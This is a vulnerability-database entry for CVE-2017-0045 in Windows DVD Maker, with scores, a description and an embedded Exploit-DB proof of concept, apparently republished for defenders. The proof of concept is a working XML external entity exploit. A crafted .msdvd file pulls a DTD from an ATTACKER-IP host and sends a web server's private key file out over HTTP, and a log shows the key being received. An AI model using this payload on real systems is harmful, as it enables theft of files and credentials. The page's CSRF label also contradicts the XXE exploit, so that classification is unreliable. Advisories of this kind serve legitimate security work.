CVE-2017-0045

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Published 2017-03-17 · Modified 2026-05-13

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CVSS v3

5.5

CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CVSS v4 NEW

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not yet in upstream

VIR risk

6.5

Description

Windows DVD Maker in Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, and Windows Vista SP2 does not properly parse crafted .msdvd files, which allows attackers to obtain information to compromise a target system, aka "Windows DVD Maker Cross-Site Request Forgery Vulnerability."

Predictions

Exploit likelihood

55%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41619 local windows text · 6 KB

hyp3rlinx · 2017-03-16

Microsoft Windows DVD Maker 6.1.7 - XML External Entity Injection

text exploit Source: Exploit-DB

[+] Credits: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DVD-MAKER-XML-EXTERNAL-ENTITY-FILE-DISCLOSURE.txt
[+] ISR: ApparitionSec



Vendor:
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www.microsoft.com



Product:
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Windows DVD Maker 
v6.1.7

Windows DVD Maker is a feature you can use to make DVDs that you can watch on a computer or on a TV using a regular DVD player. 



Vulnerability Type:
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XML External Entity Injection



CVE Reference:
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CVE-2017-0045 
MS17-020



Security issue:
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Windows DVD Maker Project ".msdvd" files are prone to XML External Entity attacks allowing remote attackers to gain access
to files from a victims computer using a specially crafted malicious .msdvd file, resulting in remote information / file disclosures. 


POC URL:
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https://vimeo.com/208383182


References:
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https://technet.microsoft.com/library/security/MS17-020
https://support.microsoft.com/en-us/help/3208223/ms17-020-security-update-for-windows-dvd-maker-march-14-2017

Applies to:

Windows Server 2008 R2 Service Pack 1
Windows Server 2008 R2 Datacenter
Windows Server 2008 R2 Enterprise
Windows Server 2008 R2 Standard
Windows Web Server 2008 R2
Windows Server 2008 R2 Foundation
Windows 7 Service Pack 1
Windows 7 Ultimate
Windows 7 Enterprise
Windows 7 Professional
Windows 7 Home Premium
Windows 7 Home Basic
Windows 7 Starter
Windows Server 2008 Service Pack 2
Windows Server 2008 Foundation
Windows Server 2008 Standard
Windows Server 2008 for Itanium-Based Systems
Windows Web Server 2008
Windows Server 2008 Enterprise
Windows Server 2008 Datacenter
Windows Vista Service Pack 2
Windows Vista Home Basic
Windows Vista Home Premium
Windows Vista Business
Windows Vista Ultimate
Windows Vista Enterprise
Windows Vista Starter



Exploit code(s):
===============
Steal XAMPP Web Servers private key "server.key".

1) python -m SimpleHTTPServer 8080 (listens on ATTACKER-IP, hosts payload.dtd)


2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8080?%file;'>">

%all;



3) "Evil.msdvd" 

<?xml version="1.0"?>
<!DOCTYPE NYHC [ 
<!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


RESULT:
XAMPP Web Server private key sent to attacker:

e.g.

C:\>python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

127.0.0.1 - - [13/Mar/2017 23:53:36] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [13/Mar/2017 23:53:36] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbedfmnUQI+KQnaBjlY8dQZpY1ZpjjFtzhpB5zMPWo3m4dbwelHx8buOt0CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E
ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmkcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh5YQYLKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY----- HTTP/1.1" 301 -
127.0.0.1 - - [13/Mar/2017 23:53:37] "GET /?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbrdfmnUQI+KQnaBjlY8dQZpY1ZxjjFtzhpB5zMPmo4m4dbwelHx8buOt6CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8E
ll5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmmcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh3YQYiKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY-----/ HTTP/1.1" 200 -




Disclosure Timeline:
=========================================
Vendor Notification: September 3, 2016
Vendor acknowledgement: November 17, 2016
March 14, 2017 : Vendor released MS17-020
March 15, 2017 : Public Disclosure



Network access:
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Remote



Severity:
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High



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hyp3rlinx

OS impact

Windows Affected 2 releases

Version	Status	Fixed in
r2	Affected	—
—	Affected	—

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

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